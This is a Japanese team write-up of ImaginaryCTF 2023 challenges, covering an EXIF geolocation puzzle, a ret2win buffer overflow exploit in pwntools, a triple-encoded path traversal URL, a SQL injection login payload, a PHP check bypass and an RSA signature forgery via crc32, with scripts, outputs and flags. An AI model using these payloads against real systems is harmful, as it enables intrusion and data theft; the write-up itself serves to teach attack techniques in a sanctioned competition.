この大会は2023/7/22 4:00(JST)~2023/7/24 4:00(JST)に開催されました。
今回もチームで参戦。結果は1859点で880チーム中65位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
問題にフラグが書いてあった。
ictf{welcome_to_imaginaryctf_2023!}
Discord (Misc)
Discordに入り、#ictf2023-announcementsチャネルのトピックを見ると、フラグが書いてあった。
ictf{communication_is_key}
signpost (Misc)
写真の場所の緯度、経度を答える問題。
「scottsdale stadium 761 polo grounds 2,925 seals stadium 2」で検索する。画像で検索結果を見ると、おそらくこの場所と思われる。
https://oldstadiumjourney.com/defunct/
画像をダウンロードして、EXIFを見る。
$ exiftool Old-Candlestick-Park-Seats.jpg ExifTool Version Number : 12.63 File Name : Old-Candlestick-Park-Seats.jpg Directory : . File Size : 702 kB File Modification Date/Time : 2023:07:23 07:30:49+09:00 File Access Date/Time : 2023:07:23 07:32:25+09:00 File Inode Change Date/Time : 2023:07:23 07:30:49+09:00 : : GPS Altitude : 0 m Above Sea Level GPS Date/Time : 2018:04:28 22:11:17Z GPS Latitude : 37 deg 46' 41.62" N GPS Longitude : 122 deg 23' 17.68" W Focal Length : 3.3 mm GPS Position : 37 deg 46' 41.62" N, 122 deg 23' 17.68" W Light Value : 14.2
念のため、Google mapで以下の緯度、経度を入力し、調べてみる。
37°46'41.62"N 122°23'17.68"W
その場所の映像を確認することはできなかったが、緯度・経度の小数点表記は確認できた。
37.778228, -122.388244
ictf{37.778,-122.388}
ret2win (Pwn)
BOFでwin関数をコールすればよい。
$ ROPgadget --binary vuln | grep ": ret" 0x000000000040101a : ret
#!/usr/bin/env python3 from pwn import * p = remote('ret2win.chal.imaginaryctf.org', 1337) elf = ELF('./vuln') ret_addr = 0x40101a win_addr = elf.symbols['win'] payload = b'A' * 72 payload += p64(ret_addr) payload += p64(win_addr) data = p.recvline().decode().rstrip() print(data) print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to ret2win.chal.imaginaryctf.org on port 1337: Done [*] '/media/sf_Shared/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) == proof-of-work: disabled == b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00z\x11@\x00\x00\x00\x00\x00' ictf{r3turn_0f_th3_k1ng?} [*] Closed connection to ret2win.chal.imaginaryctf.org port 1337
ictf{r3turn_0f_th3_k1ng?}
inspection (Web)
問題ページのHTMLソースを見ると、こう書いてある。
<p m4rkdown_parser_fail_1a211b44="">Here's a freebie: the flag is ictf.</p>
ictf{m4rkdown_parser_fail_1a211b44}
roks (Web)
内部的に以下のようなURLにアクセスして、画像表示している。
http://roks.chal.imaginaryctf.org/file.php?file=image1
ソースを見ると、fileパラメータの値をURLデコードして、"/"や"."が含まれていると、NGとしている。さらにURLデコードしたものを"image/"に連結して、ファイル名として、読み込んでいる。1回は自然にURLデコードして解釈するので3回エンコードすれば、このチェックを回避できる。
Dockerfileを見ると、/flag.pngがあることがわかるので、CyberChefを使って、以下のパスを3回URLエンコードしてアクセスする。
../../../../flag.png
以下のURLにアクセスしたら、フラグが画像で表示された。
http://roks.chal.imaginaryctf.org/file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng
ictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}
blank (Web)
ログイン画面になっている。SQLインジェクションを行う。条件からUsernameは"admin"を指定するしかない。
以下を指定してログインする。
Username: admin Password: " union select 1, "admin", "pass
この後、http://blank.chal.imaginaryctf.org/flagにアクセスすると、フラグが表示された。
Welcome admin. The flag is ictf{sqli_too_powerful_9b36140a}
ictf{sqli_too_powerful_9b36140a}
Perfect Picture (Web)
アップロードする画像を以下の観点でチェックしている。
・画像サイズは690×420 ・画像の3点のRGBAの値が既定の値 ・EXIFの3つの情報が既定の値
上記のうち最初の2点をスクリプトで生成する。
#!/usr/bin/env python3 from PIL import Image UPLOAD_FILE = 'upload.png' w = 690 h = 420 img = Image.new('RGBA', (w, h), (255, 255, 255, 255)) img.putpixel((412, 309), (52, 146, 235, 123)) img.putpixel((12, 209), (42, 16, 125, 231)) img.putpixel((264, 143), (122, 136, 25, 213)) img.save(UPLOAD_FILE)
次に以下のようにしてEXIF情報を付加していく。
$ exiftool -PNG:Description=jctf{not_the_flag} upload.png 1 image files updated $ exiftool -PNG:Title=kool_pic upload.png 1 image files updated $ exiftool -PNG:Author=anon upload.png 1 image files updated
このファイルをアップロードしたら、フラグが表示された。
now that's the perfect picture: ictf{7ruly_th3_n3x7_p1c4ss0_753433}
ictf{7ruly_th3_n3x7_p1c4ss0_753433}
idoriot-revenge (Web)
ソースコードは以下のようになっている。
<?php session_start(); // Check if user is logged in if (!isset($_SESSION['user_id'])) { header("Location: login.php"); exit(); } // Check if session is expired if (time() > $_SESSION['expires']) { header("Location: logout.php"); exit(); } // Display user ID on landing page echo "Welcome, User ID: " . urlencode($_SESSION['user_id']); // Get the user for admin $db = new PDO('sqlite:memory:'); $admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch(); // Check user_id if (isset($_GET['user_id'])) { $user_id = (int) $_GET['user_id']; // Check if the user is admin if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) { // Read the flag from flag.txt $flag = file_get_contents('/flag.txt'); echo "<h1>Flag</h1>"; echo "<p>$flag</p>"; } } // Display the source code for this file echo "<h1>Source Code</h1>"; highlight_file(__FILE__); ?>
登録したユーザ名に"admin"が含まれていれば、GETパラメータuser_idにphpを指定したときにフラグが表示される。
まず以下で登録する。
Username: testadmin Password: test
http://idoriot-revenge.chal.imaginaryctf.org/index.php?user_id=phpにアクセスすると、フラグが表示された。
ictf{this_ch4lleng3_creator_1s_really_an_idoriot}
rsa (Crypto)
#!/usr/bin/env python3 from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA with open('private.pem', 'r') as f: priv_key = RSA.import_key(f.read()) with open('flag.enc', 'rb') as f: flag_enc = f.read() n = priv_key.n d = priv_key.d c = int.from_bytes(flag_enc, 'big') m = pow(c, d, n) flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode() print(flag)
ictf{keep_your_private_keys_private}
signer (Crypto)
サーバの処理概要は以下の通り。
・p, q: 1024ビット素数 ・n = p * q ・e = 65537 ・d = pow(e, -1, (p-1)*(q-1)) ・PASSWORD = b"give me the flag!!!" ・nを表示 ・以下繰り返し ・choice: 数値入力 ・choiceが1の場合 ・message: 入力 ・messageがPASSWORDと同じかmessageのcrc32がPASSWORDのcrc32と同じ場合終了 ・pow(crc32(message), d, n)を表示 ・choiceが2の場合 ・s: 数値入力 ・pow(s, e, n)がcrc32(PASSWORD)と一致する場合、フラグを表示
crc32(PASSWORD)を数字の積 a * b に分解する。crc32がaになるmessageとbになるメッセージを探し、メニュー1で取得した値の積をメニュー2で指定すればフラグが得られる。
crc32の逆算が必要だが、以下のツールを使った。
https://github.com/skysider/crc32hack
$ python2 crc32.py reverse 0x00009def 4 bytes: {0xf8, 0x58, 0xe3, 0xc2} verification checksum: 0x00009def (OK) alternative 5 bytes: alternative: 5VsRF (OK) alternative 6 bytes: alternative: 1mPPdv (OK) alternative: Bmezvr (OK) alternative: E9Oy1Q (OK) alternative: IGxj9J (OK) alternative: PAUfZ8 (OK) alternative: ZJWWgU (OK) alternative: bbVCMw (OK) alternative: k9cp6Z (OK) alternative: lmIsqy (OK) alternative: opSLZ1 (OK) alternative: uVu3zS (OK) alternative: x4LMhE (OK) $ python2 crc32.py reverse 0x00015643 4 bytes: {0xfc, 0xdb, 0x3c, 0xd3} verification checksum: 0x00015643 (OK) alternative 5 bytes: alternative 6 bytes: alternative: 0yh6zd (OK) alternative: 2d38J5 (OK) alternative: 3YcE9t (OK) alternative: 9op8lA (OK) alternative: BeSqrm (OK) alternative: E1yr5N (OK) alternative: LjLANc (OK) alternative: R8KNj2 (OK) alternative: RT8cnv (OK) alternative: STyRuo (OK) alternative: esgvcC (OK) alternative: r7xwQ7 (OK) alternative: tBMUdA (OK) alternative: v3evPT (OK) alternative: zMReXO (OK)
#!/usr/bin/env python3 import socket from binascii import crc32 def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) PASSWORD = b'give me the flag!!!' a = 3 * 13477 b = 7 * 12517 assert a * b == crc32(PASSWORD) print('[+] sig1:', hex(a)[2:].zfill(8)) print('[+] sig2:', hex(b)[2:].zfill(8)) msg1 = '1mPPdv' msg2 = '0yh6zd' assert crc32(msg1.encode()) == a assert crc32(msg2.encode()) == b s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('signer.chal.imaginaryctf.org', 1337)) data = recvuntil(s, b'flag\n').rstrip() print(data) n = data.split('--------------------------------------------------------------')[3] n = int(''.join(n.split('\n')).split(' ')[-1]) print('1') s.sendall(b'1\n') data = recvuntil(s, b'\n').rstrip() print(data) print(msg1) s.sendall(msg1.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sig1 = int(data.split(' ')[-1]) data = recvuntil(s, b'flag\n').rstrip() print(data) print('1') s.sendall(b'1\n') data = recvuntil(s, b'\n').rstrip() print(data) print(msg2) s.sendall(msg2.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) sig2 = int(data.split(' ')[-1]) data = recvuntil(s, b'flag\n').rstrip() print(data) sig = (sig1 * sig2) % n print('2') s.sendall(b'2\n') data = recvuntil(s, b'\n').rstrip() print(data) print(sig) s.sendall(str(sig).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
[+] sig1: 00009def [+] sig2: 00015643 == proof-of-work: disabled == -------------------------------------------------------------- Welcome to the secure signing app! I will sign whatever you want, except the secret password. -------------------------------------------------------------- -------------------------------------------------------------- n = 126668275218317974774444628938922603275053507009326499697 5577950166405281567300870557844124855471204453426901650234702 1702701962452648210559097509427353241301028248460707368224968 4067059813319716383907249453942545463729669689337626051332709 9568946451159388744240519640968757909776417535715067344046987 6992953017936046788653506215599974639583261403818798176389129 2941761080240748505267730139835588438533043400440176189128937 3598831790746223305413157845008922512831282099174432068965627 1672925564076084546111215198531044044730327178979263402639122 2117972672886083948678040756087650285247212749332909170284035 45685334049 -------------------------------------------------------------- 1. Sign 2. Get flag 1 Enter message: 1mPPdv Signature: 1126179203973214015044038564167721789283590451221145527390079141462677258096661644231569002305214274601892237379013762053265549660279885670019352714111681778416085186007999425158720290838310046607975943941551443397494090669863609259373461810844166716732164483280420133858619994162890630254810180581440410661278163459859918472344500221667171508254791981221658030343273201851727471476574597343006942119285085715509479857981527929888271374678756145301265820855400287806842547813499293725276829674736334605752531114755362869517411786121069338759664739341698161347579492788363874606258217928623297516678613223331674361726 1. Sign 2. Get flag 1 Enter message: 0yh6zd Signature: 8458558767821191578276381830278651773863976659300702598633684548742951374170797771919218301967065615953095557094126771649256339624641540119050696928997914038333672574569619596896101025784922710129435886752818861140345514803265167232325627709331804728142698424017011202348035247278370971874033860167531340778353077536036732232508501269904726534817942918618316856206145542094269823624982377302568052335877788577763120557259056636418138447587963808490630701733115542342444428567538561942003479967830054760391113511585917848684130779208324334206113582161187927844207833800030836041412877946487822554437014232825269437093 1. Sign 2. Get flag 2 Enter the signature for the password: 7315206175369039996777463631699256353495500175773294204223081111092773916595028259699406588677454332692243101816992687548772325899220169928394567758116112319556279603283056103242854087826047913177513328660518701137122553405649386871292842944398511151119318641636179352894907677616512929068645118330038496726655505588252168098046637033633961435607851983107494358067761115662120451398525512754394590924779006269568516773404595643763378303505881534168969558944362360111116151149834563807909610132608885126649512604375370937392522869647484391873126083732279366934031154965566251640033620652194073463375938283800068395638 You win! The flag is ictf{m4ybe_crc32_wasnt_that_secure_after_all_1ab93213}
ictf{m4ybe_crc32_wasnt_that_secure_after_all_1ab93213}